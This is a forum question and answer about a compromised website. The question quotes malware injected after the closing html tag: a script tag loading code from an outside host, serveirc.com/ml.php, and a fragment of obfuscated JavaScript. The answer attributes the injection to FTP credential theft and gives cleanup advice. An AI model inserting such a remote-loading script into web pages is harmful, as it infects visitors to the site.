Javascripted malware detected, how to delete?

Question

Google Chrome welcomed me with the detection of malicious code. I was able to track down the code in the source (firebug), but I don't know how to find the .js scripts where the codes are located. It consists of 2 scripts:

1. <script src="http://12nwsp.serveirc.com//ml.php" type="text/javascript"> </script>
2. <script type="text/javascript">var bWUW1aIO9J="YEXI018YEXI035";var fGdfWY1etv0="YEXI03cYEXI073YEXI063YEXI07"; and a lot more vars in that.

These javascripts are located in the bottom of the page, after the closing </html> tag..

Funny thing is... Once I created another subdomain on my host, and I installed Wordpress and did some things, the exact same 12nwsp.serveirc.com was back.

Now I've searched and searched, and came to the conclusion that it could well be created by iframes, (and I do have them).

If you want to look and help me out, it's http://test.donm.nl/vanderwal (it's sort of an online catalogue).

I just wonder if there's any tool or something that can tell me where those annoying bugger scripts are located, so I can remove them.

Ty

Answer 1

You've been hacked. Probably by an FTP account compromise: you get a trojan on a client machine that is used to upload to the site, it steals your password and an automated attack later logs in to add scripts to all your HTML files.

You can use a plain old find-in-files tool to locate the <script> blocks, but just removing the scripts on its own will do no good. You'll just get attacked again.

There are some other possibilities, like insecure server-side applications combined with poor permissions settings, or a wider server-level compromise—though the other sites on that server don't seem to be infected. FTP account compromises are the most common vector right now.

You should take your site off-line, scan every machine you have used to access your FTP, with multiple checkers. Don't trust just one AV: today's anti-virus tools just cannot keep up with the breadth of attacks. Similarly, they're far from guaranteed to remove everything if you've been compromised, so if you find anything, or if that machine has had any history of picking up any trojan in the past, you need to flatten it and re-install the OS. (Then ensure your browser and any plugins are up-to-date, and remove plugins you don't 100% need, to avoid future infection.)

Then you can change your FTP password, remove the scripts and take the site back on-line. (And use SFTP in future.)